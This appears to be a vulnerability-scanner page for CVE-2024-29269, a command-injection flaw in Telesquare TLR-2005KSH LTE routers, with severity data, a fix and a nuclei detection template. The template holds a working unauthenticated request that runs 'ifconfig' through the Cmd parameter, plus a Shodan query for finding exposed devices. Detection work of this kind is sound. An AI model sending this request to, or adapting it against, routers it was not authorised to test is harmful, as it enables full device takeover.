Telesquare TLR-2005KSH - Remote Command Execution

criticalseverity

9.8CVSS score

6.3%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Telesquare Tlr-2005Ksh is a Sk Telecom Lte router from South Korea's Telesquare company.Telesquare TLR-2005Ksh versions 1.0.0 and 1.1.4 have an unauthorized remote command execution vulnerability. An attacker can exploit this vulnerability to execute system commands without authorization through the Cmd parameter and obtain server permissions.

Impact

Attackers can execute arbitrary commands on the router, leading to complete device compromise.

Fix

Update Telesquare TLR-2005KSH firmware to a version that patches the RCE vulnerability.

How to confirm it

Send: GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ifconfig
Positive when: contains "<CmdResult>" and "</xml>" and "Ethernet" and "inet" AND contains in header "text/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2024-29269 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-29269

info:
  name: Telesquare TLR-2005KSH - Remote Command Execution
  author: ritikchaddha
  severity: critical
  description: |
    Telesquare Tlr-2005Ksh is a Sk Telecom Lte router from South Korea's Telesquare company.Telesquare TLR-2005Ksh versions 1.0.0 and 1.1.4 have an unauthorized remote command execution vulnerability. An attacker can exploit this vulnerability to execute system commands without authorization through the Cmd parameter and obtain server permissions.
  impact: |
    Attackers can execute arbitrary commands on the router, leading to complete device compromise.
  remediation: |
    Update Telesquare TLR-2005KSH firmware to a version that patches the RCE vulnerability.
  reference:
    - https://github.com/wutalent/CVE-2024-29269/blob/main/index.md
    - https://gist.github.com/win3zz/c26047ae4b182c3619509d537b808d2b
    - https://github.com/Ostorlab/KEV
    - https://github.com/YongYe-Security/CVE-2024-29269
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-29269
    epss-score: 0.06345
    epss-percentile: 0.93693
    cpe: cpe:2.3:h:telesquare:tlr-2005ksh:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"Login to TLR-2005KSH"
    product: tlr-2005ksh
    vendor: telesquare
  tags: cve,cve2024,telesquare,tlr,rce,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ifconfig HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<CmdResult>'
          - '</xml>'
          - 'Ethernet'
          - 'inet'
        condition: and

      - type: word
        part: header
        words:
          - 'text/xml'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from